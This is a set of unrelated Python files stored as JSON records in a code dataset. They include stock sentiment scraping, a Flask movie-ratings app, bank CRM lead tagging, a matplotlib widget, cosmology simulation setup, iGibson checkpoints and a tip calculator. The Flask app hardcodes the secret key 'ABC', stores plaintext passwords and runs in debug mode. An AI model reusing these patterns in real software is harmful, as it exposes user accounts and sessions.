',correlation)\n return\n\n\n#gets todays news articles for the stock \ndef news(symbol):\n \n #gets the data from the API\n sleep(3)\n url = 'https://api.iextrading.com/1.0/stock/' + symbol.lower() + '/batch?types=news&last=5'\n news = requests.get(url)\n news_json_str = news.content\n news_data = json.loads(news_json_str)\n length = len(news_data['news'])\n \n #parses the JSON\n for x in range(0,length):\n \n news_headline = news_data['news'][x]['headline']\n sentiment = sent_analysis(news_headline)\n output = str(x + 1) + \") \" + news_headline + \"[\" + sentiment + \"]\"\n print('\\033[0m' + output)\n \n print('\\n')\n \n return\n\n\n\n#gets todays stock twits articles for the stock \ndef stock_twits(symbol):\n \n #gets the data from the API\n sleep(3)\n url = 'https://api.stocktwits.com/api/2/streams/symbol/' + symbol.upper() + '.json'\n stock_twits = requests.get(url)\n stock_twits_json_str = stock_twits.content\n stock_twits_data = json.loads(stock_twits_json_str)\n length = len(stock_twits_data['messages'])\n total_sent = 0\n \n #parses the data out of the JSON\n for x in range(0,length):\n \n message = stock_twits_data['messages'][x]['body']\n sentiment = stocktwits_sent_analysis(message)\n total_sent = total_sent + sentiment\n sent_formatted = '{:.1f}'.format(sentiment)\n string_sent = str(sent_formatted) + \"%\"\n output = str(x + 1) + \") \" + message + \"[\" + string_sent + \"]\"\n print('\\033[0m' + output)\n \n #outputs the data\n total_sent = total_sent/30\n total_sent = '{:.1f}'.format(total_sent)\n print('\\n')\n print(\"Total Sentiment Score: \" + str(total_sent))\n \n return\n\n#sent analysis for news articles\ndef sent_analysis(text):\n testimonial = TextBlob(text)\n sentiment = float(testimonial.sentiment.polarity) * 100\n sent_formatted = '{:.1f}'.format(sentiment)\n string_sent = str(sent_formatted) + \"%\"\n \n return(string_sent)\n\n\n#sent analsysis for stocktwits\ndef stocktwits_sent_analysis(text):\n testimonial = TextBlob(text)\n sentiment = float(testimonial.sentiment.polarity) * 100\n \n return(sentiment)\n\n\n#makes a line for cleaner sections to our outputs\ndef line():\n line = \"\"\n for x in range(0,147):\n line = line + \"*\"\n print(line)\n return","sub_path":"back_end.py","file_name":"back_end.py","file_ext":"py","file_size_in_byte":8230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551990726","text":"\"\"\"Movie Ratings.\"\"\"\n\nfrom jinja2 import StrictUndefined\n\nfrom flask import Flask, render_template, redirect, request, flash, session\nfrom flask_debugtoolbar import DebugToolbarExtension\n\nfrom model import User, Rating, Movie, connect_to_db, db\n\n\napp = Flask(__name__)\n\n# Required to use Flask sessions and the debug toolbar\napp.secret_key = \"ABC\"\n\n# Normally, if you use an undefined variable in Jinja2, it fails silently.\n# This is horrible. Fix this so that, instead, it raises an error.\napp.jinja_env.undefined = StrictUndefined\n\n\n@app.route('/')\ndef index():\n \"\"\"Homepage.\"\"\"\n\n return render_template(\"homepage.html\")\n\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef site_login():\n \"\"\"Handles submission of login form and add user id to session. Redirect to homepage with flash message\"\"\"\n \n if request.method == 'POST':\n email = request.form.get('email')\n password = request.form.get('password')\n\n # add user to database\n user = User(email=email, password=password)\n db.session.add(user)\n db.session.commit()\n\n # get id of new user from database and put in session\n user_ob = User.query.filter_by(email=email).first()\n\n if 'login' not in session:\n session['login'] = user_ob.user_id\n\n flash('Thank you SO much for logging in! Now go rate some movies.')\n\n # return redirect(\"/users/\")\n return redirect(\"/users/%s\" % user_ob.user_id)\n\n else:\n return render_template(\"login.html\")\n\n\n@app.route('/logout')\ndef site_logout():\n \"\"\"Logs users out by deleting userid from session & redirect to homepage with flash message\"\"\"\n\n # delete user from session\n del session['login']\n\n # redirect to homepage with a flash message\n\n flash(\"You're logged out, loser. Thanks for nothing.\")\n\n return redirect('/')\n\n\n@app.route(\"/users\")\ndef user_list():\n \"\"\"Show list of users.\"\"\"\n\n users = User.query.all()\n return render_template(\"user_list.html\", users=users)\n\n\n@app.route(\"/users/\")\ndef show_user(user_id):\n \"\"\"Return page showing details of a given user.\"\"\"\n\n user = User.query.get(user_id)\n # ratings = u.ratings\n ratings_by_user = Rating.query.filter_by(user_id=user_id).all()\n\n dict_titles_ratings = {}\n\n for r in ratings_by_user:\n movie = Movie.query.filter_by(movie_id = r.movie_id).one()\n dict_titles_ratings[movie.title] = [r.score, movie.movie_id]\n\n return render_template(\"user_details.html\", user=user, dict_titles_ratings=dict_titles_ratings)\n\n@app.route(\"/LEFTSHARK\")\ndef movie_list():\n \"\"\"Show list of movies\"\"\"\n\n movies = Movie.query.order_by('title').all()\n\n return render_template(\"movie_list.html\", movies=movies)\n\n\n@app.route(\"/rate-movie\")\ndef rate_movie():\n \"\"\" Form for user to submit a new rating or update an existing rating. \"\"\"\n\n return render_template(\"\")\n\n\n@app.route(\"/LEFTSHARK/\")\ndef show_movie(movie_id):\n \"\"\" Return page showing details for a given movie. \"\"\"\n\n all_ratings_for_movie = Rating.query.filter_by(movie_id=movie_id).all()\n\n movie = Movie.query.filter_by(movie_id=movie_id).one()\n title = movie.title\n\n dict_movie_ratings = {}\n\n for r in all_ratings_for_movie:\n user_id = r.user_id\n dict_movie_ratings[user_id] = r.score\n\n return render_template(\"movie_details.html\", title=title, dict_movie_ratings=dict_movie_ratings)\n\n\nif __name__ == \"__main__\":\n # We have to set debug=True here, since it has to be True at the point\n # that we invoke the DebugToolbarExtension\n app.debug = True\n\n connect_to_db(app)\n\n # Use the DebugToolbar\n # DebugToolbarExtension(app)\n\n app.run()","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224717514","text":"import pandas as pd\n\nimport json\nimport os\nimport re\n\n\ndef add_tag_remark(data):\n for key, value in params[\"features\"].items():\n data[key] = pd.cut(data[value[\"column\"]], value[\"cut\"], labels=value[\"labels\"])\n data.loc[:, \"is_2y_buy_ifm\"] = data[\"ifm_days_avg\"].apply(lambda x: \"是\" if x > 0 else \"否\")\n data.loc[:, \"recent_aum_drop\"] = pd.qcut(data[\"aum_ledger_bal\"]/data[\"month6_aum_avg\"], q=[0, 0.25, 0.5, 0.75, 1],\n labels=[\"重度流失\", \"中重度流失\", \"中度流失\", \"轻度流失\"])\n for row, values in data.iterrows():\n if data.loc[row, \"cluster\"] == \"其他-存利得客户\":\n data.loc[row, \"tag\"] = \"其他-存利得客户\"\n else:\n data.loc[row, \"tag\"] = \"高净值\" + data.loc[row, \"cluster\"] if data.loc[row, \"month6_aum_avg\"] >= 800000 \\\n else \"普通\" + data.loc[row, \"cluster\"]\n data.loc[row, \"infos\"] = \"年龄:\" + str(values[\"age_category\"]) + \\\n \"| 行龄:\" + str(values[\"bank_year_level\"]) + \\\n \"| 客户等级:\" + str(values[\"aum_level\"]) + \"({}W)\".format((round(values[\"month6_aum_avg\"]/10000)))+ \\\n \";半年最高AUM:\" + str(round(values[\"max_history_aum_m_avg\"]/10000)) + \"W \" + \\\n \";近期流失度:{}\".format(values[\"recent_aum_drop\"]) + \\\n \"| 定期:利率—\" + str(values[\"fix_rate_level\"]) + \"%\"\\\n \";期限—\" + str(values[\"fix_term_level\"]) + \"天\"\\\n \";笔均金额—\" + str(values[\"fix_buy_amt\"]) + \\\n \"| 是否买过理财:{}\".format(values[\"is_2y_buy_ifm\"]) + \\\n \";客户风险等级—\" + str(values[\"risk_level\"]) + \\\n \"| 近期活期占比:{}\".format(values[\"cur_pert\"])\n if re.search(r'到期|小微企业', data.loc[row, \"tag\"]):\n data.loc[row, \"infos\"] = data.loc[row, \"infos\"] + \\\n \"| 最近到期: 45天定期到期金额\" + str(round(values[\"fix_future45d_expire_amt\"]/10000, 1)) + \"W \" + \\\n \";45天理财到期金额\" + str(round(values[\"ifm_future45d_expire_amt\"]/10000, 1)) + \"W\" + \\\n \";60天定期理财到期金额\" + str(round(values[\"fix_ifm_future2m_expire_amt\"]/10000, 1)) + \"W\" + \\\n \";过去2个月理财到期金额\" + str(round(values[\"ifm_recent2m_expire_amt\"] / 10000, 1)) + \"W\" + \\\n \";过去2个月定期到期金额\" + str(round(values[\"fix_recent2m_expire_amt\"] / 10000, 1)) + \"W\"\n data.loc[row, \"remark\"] = params[\"remark\"][values[\"cluster\"]][\"reco_reason\"]\n data.loc[row, \"telling\"] = params[\"telling\"][values[\"cluster\"]]\n return data\n\n\ndef optu_priority(tag):\n if re.search(r'高净值|存利得', tag):\n return 3\n elif re.search(r\"到期|小微企业主\", tag):\n return 2\n else:\n return 1\n\n\ndef crm_template(threads_data):\n threads = pd.DataFrame()\n for row, values in threads_data.iterrows():\n threads.loc[row, \"cust_no\"] = row\n threads.loc[row, \"cust_tab\"] = values[\"tag\"] # 客群分类\n threads.loc[row, \"optu_priority\"] = optu_priority(values[\"tag\"])\n threads.loc[row, \"track_user\"] = values[\"client_manager\"]\n threads.loc[row, \"optu_type\"] = \"10\"\n threads.loc[row, \"optu_case_id\"] = \"CASE0004-GDLKLS002\"\n threads.loc[row, \"optu_id\"] = \"GDLKLS\" + values[\"manager_branch\"] + \"20181029\"+\"{:0>5}\".format(row)\n threads.loc[row, \"optu_name\"] = \"高端老客防流失精准线索\"\n threads.loc[row, \"optu_gener_date\"] = \"20181029\"\n threads.loc[row, \"optu_end_date\"] = \"20181129\"\n threads.loc[row, \"reco_prds\"] = \"01B-%||||,02B-%||||,03B-%||||,04B-%||||\" # 涉及推荐产品编号\n threads.loc[row, \"reco_reason\"] = values[\"remark\"] # 推荐理由 *****\n threads.loc[row, \"reco_example\"] = values[\"telling\"] # 话术 *****\n threads.loc[row, \"reco_advantage\"] = \"\" # 产品优势\n threads.loc[row, \"reco_remark\"] = values[\"infos\"] # 客户信息 *******\n threads.loc[row, \"verify_tot_amt_min\"] = \"\" # 起买金额\n threads.loc[row, \"verify_tot_amt_max\"] = \"\" # 购买上限金额\n threads.loc[row, \"month6_aum_avg\"] = values[\"month6_aum_avg\"] # 过去六个月aum\n threads.loc[row, \"recent_aum_drop\"] = values[\"recent_aum_drop\"]\n return threads\n\n\n# 生成下发线索\ndef get_opt_threads(features):\n handouts_crm_features = add_tag_remark(features)\n result_data = crm_template(handouts_crm_features)\n return result_data\n\n\n# 按order_by排序,去掉最小的5%去掉最大的5%,抽取5.5%抽取\ndef split_five_perct_control_group(data, order_by):\n data_order = data.sort_values(by=order_by)\n data_rows_cnt = data.shape[0]\n data_ninety_percent = data_order.iloc[\n round(data_rows_cnt * 0.05):round(data_rows_cnt * 0.95), :]\n no_crm_leads = data_ninety_percent.sample(frac=0.055) # 非下发线索\n crm_show_leads = data[~data.index.isin(no_crm_leads.index)]\n return no_crm_leads, crm_show_leads\n\n\ndef read_config(runtime=1):\n with open(\"config.json\", encoding=\"utf-8\") as f:\n params = json.load(f)\n if runtime == 1:\n clusters = ['小微企业主', '协议到期客户', '定期非到期户', '理财非到期户', '活期占比高客户', '提前支取客户',\n '其他-存利得客户', '其他']\n cluster_tell = ['小微企业主', '协议到期客户', \"非到期客户\", \"非到期客户\", '活期占比高客户', \"存利得客户\",\n '提前支取客户', '活期占比高客户']\n tell_cluster = {}\n for cluster_name, tell_sheet in zip(clusters, cluster_tell):\n tell = pd.read_excel(\"高端老客驻马店话术.xlsx\", sheet_name=tell_sheet)\n telling_text = ''\n for row, values in tell.iterrows():\n telling_text += \"#{}*{}\".format(values[\"if\"], values[\"then\"])\n tell_cluster[cluster_name] = telling_text\n params[\"telling\"] = tell_cluster\n with open(\"config.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump(params, f)\n return params\n\n\nif __name__ == '__main__':\n folder = \"zhumadian\"\n leads_folder = os.path.join(folder, \"handout_list\")\n params = read_config(runtime=2)\n leads_features = pd.read_excel(os.path.join(leads_folder, \"leads_segments.xlsx\"), index_col=\"client_no\")\n crm_leads = get_opt_threads(leads_features)\n crm_leads.to_excel(\"驻马店分行高潜流失CRM线索标签明细1026.xlsx\")\n\n crm_leads = pd.read_excel(\"驻马店分行高潜流失CRM线索标签明细1026.xlsx\")\n no_crm_leads, crm_show_leads = split_five_perct_control_group(crm_leads, \"month6_aum_avg\")\n writer = pd.ExcelWriter(\"驻马店分行高潜流失CRM线索下发with对照组.xlsx\")\n crm_show_leads.to_excel(writer, sheet_name=\"下发组\", index=None)\n no_crm_leads.to_excel(writer, sheet_name=\"对照组\", index=None)\n writer.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"名单标签处理.py","file_name":"名单标签处理.py","file_ext":"py","file_size_in_byte":7442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"296559579","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\nfrom matplotlib.offsetbox import AnnotationBbox, TextArea\nimport signal\nfrom PyQt5 import QtCore\n#from thermalViewer import MplWidgetHandler\n\nclass DraggableRectangle:\n lock = None # only one can be animated at a time\n\n def __init__(self, rect, name, value, canvas):\n self.canvas = canvas\n #Rect is arectangle inside a container axes rect = axes.add_artist(patches.Rectangle)\n self.rect = rect\n self.name = name\n self.value = value\n self.press = None\n self.background = None\n self.namebackground = None\n\n def connect(self):\n 'connect to all the events we need'\n self.cidpress = self.rect.figure.canvas.mpl_connect(\n 'button_press_event', self.on_press)\n self.cidrelease = self.rect.figure.canvas.mpl_connect(\n 'button_release_event', self.on_release)\n self.cidmotion = self.rect.figure.canvas.mpl_connect(\n 'motion_notify_event', self.on_motion)\n\n def on_press(self, event):\n 'on button press we will see if the mouse is over us and store some data'\n if event.inaxes != self.rect.axes: return\n if DraggableRectangle.lock is not None: return\n contains, attrd = self.rect.contains(event)\n if not contains: return\n\n # Save position in file\n x0, y0 = self.rect.xy\n self.saveInFile(str(self.rect.xy))\n print(\"click write succeded\")\n\n self.press = x0, y0, event.xdata, event.ydata\n DraggableRectangle.lock = self\n\n # draw everything but the selected rectangle and store the pixel buffer\n #the canvas and axes for the name, value and rectangle are the same\n canvas = self.rect.figure.canvas\n axes = self.rect.axes\n self.rect.set_animated(True)\n self.name.set_animated(True)\n self.value.set_animated(True)\n #Draws on the canvas\n canvas.draw()\n\n #Sets the background to a copy of the axesbbox, so the whole container.\n self.background = canvas.copy_from_bbox(self.rect.axes.bbox)\n\n # now redraw just the rectangle\n axes.draw_artist(self.name)\n axes.draw_artist(self.rect)\n axes.draw_artist(self.value)\n # and blit just the redrawn area\n canvas.blit(axes.bbox)\n\n self.canvas.checkRectangleOnClick()\n\n def on_motion(self, event):\n 'on motion we will move the rect if the mouse is over us'\n if DraggableRectangle.lock is not self:\n return\n if event.inaxes != self.rect.axes: return\n x0, y0, xpress, ypress = self.press\n dx = event.xdata - xpress\n dy = event.ydata - ypress\n\n # set position of the rectangle\n self.rect.set_x(x0+dx)\n self.rect.set_y(y0+dy)\n\n self.name.set_x(self.rect.xy[0])\n self.name.set_y(self.rect.xy[1])\n\n self.value.set_x(self.rect.xy[0]+(self.canvas.sensorPixelSize[0]/(self.canvas.fig.get_size_inches()[0] * self.canvas.fig.dpi))/3)\n self.value.set_y(self.rect.xy[1]+(self.canvas.sensorPixelSize[1]/(self.canvas.fig.get_size_inches()[1] * self.canvas.fig.dpi))/1.8)\n\n\n canvas = self.rect.figure.canvas\n axes = self.rect.axes\n\n # restore the background region\n canvas.restore_region(self.background)\n\n # redraw just the current rectangle\n axes.draw_artist(self.rect)\n axes.draw_artist(self.name)\n axes.draw_artist(self.value)\n\n # blit just the redrawn area\n canvas.blit(axes.bbox)\n\n def on_release(self, event):\n 'on release we reset the press data'\n if DraggableRectangle.lock is not self:\n return\n\n x0, y0 = self.rect.xy\n self.press = None\n DraggableRectangle.lock = None\n\n # turn off the rect animation property and reset the background\n self.rect.set_animated(False)\n self.name.set_animated(False)\n self.value.set_animated(False)\n\n self.background = None\n self.saveInFile(str(self.rect.xy))\n print(\"release write succeded\\n\\n\")\n # redraw the full figure\n self.rect.figure.canvas.draw()\n\n #print(\"Realeased @\", x0, y0)\n self.canvas.checkRectangleOnRelease()\n\n def saveInFile(self, drop):\n filename = \"pos.txt\"\n with open(filename, \"w\") as file:\n file.write(drop)\n file.close()\n\n\n def disconnect(self):\n 'disconnect all the stored connection ids'\n self.rect.figure.canvas.mpl_disconnect(self.cidpress)\n self.rect.figure.canvas.mpl_disconnect(self.cidrelease)\n self.rect.figure.canvas.mpl_disconnect(self.cidmotion)\n\n\n\n\n\n\n","sub_path":"src/draggableRectangle.py","file_name":"draggableRectangle.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"165629882","text":"#!/usr/bin/env python\n\nimport sys,os\nsys.modules[\"mpi4py\"] = None\n\nimport lenstools\n\nfrom lenstools.pipeline.simulation import SimulationBatch,LensToolsCosmology\nfrom lenstools.pipeline.settings import EnvironmentSettings,NGenICSettings,PlaneSettings,CatalogSettings\nfrom lenstools.pipeline.remote import LocalGit\nfrom lenstools.simulations.camb import CAMBSettings\nfrom lenstools.simulations.gadget2 import Gadget2Settings\n\nimport numpy as np\nimport astropy.units as u\nfrom astropy.cosmology import z_at_value\n\ngit = LocalGit()\n\n#Settings\ncamb = CAMBSettings()\nngenic = NGenICSettings()\ngadget2 = Gadget2Settings()\nplanes = PlaneSettings.read(\"../planes.ini\")\ncatalog = CatalogSettings.read(\"../catalog.ini\")\n\nzmax = 3.1\nbox_size_Mpc_over_h = 240.0\nnside = 512\nlens_thickness_Mpc = 80.0\n\n#NGenIC\nngenic.GlassFile = lenstools.data(\"dummy_glass_little_endian.dat\")\n\n#Gadget\ngadget2.NumFilesPerSnapshot = 16\n\n#Init batch\nif \"--git\" in sys.argv:\n\tbatch = SimulationBatch.current(syshandler=git)\nelse:\n\tbatch = SimulationBatch.current()\n\nif \"--tree\" in sys.argv:\n\n\t#Add all the models,collections and one realization\n\tseed = np.random.randint(10000000)\n\n\tp = np.load(\"../../data/Om-si8.npy\")\n\td = list()\n\n\tfor Om,si8 in p:\n\t\n\t\t#Lay down directory tree\n\t\tcosmo = LensToolsCosmology(Om0=Om,Ode0=1-Om,w0=-1.,sigma8=si8)\n\t\tmodel = batch.newModel(cosmo,parameters=[\"Om\",\"Ol\",\"si\"])\n\t\tcollection = model.newCollection(box_size=box_size_Mpc_over_h*model.Mpc_over_h,nside=nside)\n\t\tr = collection.newRealization(seed)\n\n\t\t#Plane and catalog directories\n\t\tpln = r.newPlaneSet(planes)\n\t\tct = collection.newCatalog(catalog)\n\n\nif \"--camb\" in sys.argv:\n\n\t#CAMB settings\n\tfor model in batch.available:\n\t\tcollection = model.collections[0]\n\t\tcollection.writeCAMB(z=np.array([0.0]),settings=camb)\n\n\nif (\"--lenses\" in sys.argv) or (\"--pfiles\" in sys.argv):\n\n\t#Compute comoving distance to maximum redshift for each model\n\td = list()\n\tfor model in batch.available:\n\t\td.append(model.cosmology.comoving_distance(zmax))\n\n\t#Compute lens spacings\n\td = np.array([dv.value for dv in d]) * d[0].unit\n\n\t#We want to make sure there are lenses up to the maximum of these distances\n\tlens_distances = np.arange(lens_thickness_Mpc,d.max().to(u.Mpc).value + lens_thickness_Mpc,lens_thickness_Mpc) * u.Mpc\n\n\tfor model in batch.available:\n\n\t\t#Compute the redshifts of the Gadget snapshots\n\t\tz = np.zeros_like(lens_distances.value)\n\t\tfor n,dlens in enumerate(lens_distances):\n\t\t\tz[n] = z_at_value(model.cosmology.comoving_distance,dlens)\n\n\t\t#Assgn values to gadget settings\n\t\tgadget2.OutputScaleFactor = np.sort(1/(1+z))\n\n\t\tif \"--pfiles\" in sys.argv:\n\t\t\n\t\t\tcollection = model.collections[0]\n\n\t\t\t#Convert camb power spectra into ngenic ones\n\t\t\tcollection.camb2ngenic(z=0.0)\n\n\t\t\tr = collection.realizations[0]\n\n\t\t\t#ngenic parameter file\n\t\t\tr.writeNGenIC(ngenic)\n\n\t\t\t#Gadget parameter file\n\t\t\tr.writeGadget2(gadget2)\n\n\t\telse:\n\t\t\tprint(gadget2.OutputScaleFactor)\n","sub_path":"code/management/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"213120714","text":"\"\"\"This file contains utils for BEHAVIOR demo replay checkpoints.\"\"\"\nimport json\nimport os\n\nimport pybullet as p\n\n\ndef save_checkpoint(simulator, root_directory):\n bullet_path = os.path.join(root_directory, \"%d.bullet\" % simulator.frame_count)\n json_path = os.path.join(root_directory, \"%d.json\" % simulator.frame_count)\n\n # Save the simulation state.\n p.saveBullet(bullet_path)\n\n # Save the dump in a file.\n with open(json_path, \"w\") as f:\n json.dump(save_internal_states(simulator), f)\n\n\ndef load_checkpoint(simulator, root_directory, frame):\n bullet_path = os.path.join(root_directory, \"%d.bullet\" % frame)\n json_path = os.path.join(root_directory, \"%d.json\" % frame)\n\n # Restore the simulation state.\n p.restoreState(fileName=bullet_path)\n\n with open(json_path, \"r\") as f:\n dump = json.load(f)\n\n load_internal_states(simulator, dump)\n\n\ndef save_internal_states(simulator):\n # Dump the object state.\n object_dump = {}\n for name, obj in simulator.scene.objects_by_name.items():\n object_dump[name] = obj.dump_state()\n\n # Dump the robot state.\n robot_dump = []\n for robot in simulator.robots:\n robot_dump.append(robot.dump_state())\n\n return {\"objects\": object_dump, \"robots\": robot_dump}\n\n\ndef load_internal_states(simulator, dump):\n # Restore the object state.\n object_dump = dump[\"objects\"]\n for name, obj in simulator.scene.objects_by_name.items():\n obj.load_state(object_dump[name])\n\n # Restore the robot state.\n robot_dumps = dump[\"robots\"]\n for robot, robot_dump in zip(simulator.robots, robot_dumps):\n robot.load_state(robot_dump)\n","sub_path":"igibson/utils/checkpoint_utils.py","file_name":"checkpoint_utils.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233242620","text":"\"\"\"# Allow the ability to divide the check into a equal parts amount a number of people. \n# The user will enter the number of people to be divided amongst. Example session:\n\n# $ python3 tip_calc2.py\n# Total bill amount? 100\n# Level of service? good\n# Split how many ways? 5\n# Tip amount: $20.00\n# Total amount: $120.00\n# Amount per person: $24.00\n\n# Hints:\n\n# Remember that you need to convert the input from the user input to floats instead of ints. Use the float function instead of the int function.\n# To format a float number as a dollar value, use Python's formatting syntax: \"%.2f\" % amount\n\"\"\"\ntotal_bill = int(input('Total Bill Amount?:$ '))\nlevel_service = input('Level of Service? please enter good, fair or bad ')\ngood = float(.20)\nfair = float (.15)\nbad = float (.10)\nwhile level_service == 'good':\n total_bill = (total_bill+(total_bill * good))\n sum = f'your total bill is $ {float(total_bill)}' \n # {float(total_bill)}'\n print (sum)\n break\n\nwhile level_service == 'fair':\n total_bill = (total_bill+(total_bill * fair))\n sum = f'your total bill is $ {float(total_bill)}'\n print (sum)\n break\n\nwhile level_service == 'bad':\n total_bill = (total_bill+(total_bill * bad))\n sum = f'your total bill is $ {float(total_bill)}'\n print (sum)\n break\n\ndollar_value = total_bill\nprint(\" Total Bill = ${:.2f}\".format( dollar_value ))\n\n\n# print (total_bill)\nsplit = int(input ('Split in how many ways? '))\n\ntotal = (total_bill / split)\nprint(\" Total Bill = ${:.2f}\".format( total ))\n\n\n\n#subject = f'you entered, {student_subject}' \n# greeting = f'hi {name}!!!!!'\n\n# answer = ''\n# while answer != \"yes\": \n# answer = input('But I really want to! Can I?! ') \n# answer = answer.lower()\n# print('Thanks!')","sub_path":"tips_cal_2withf_2.py","file_name":"tips_cal_2withf_2.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}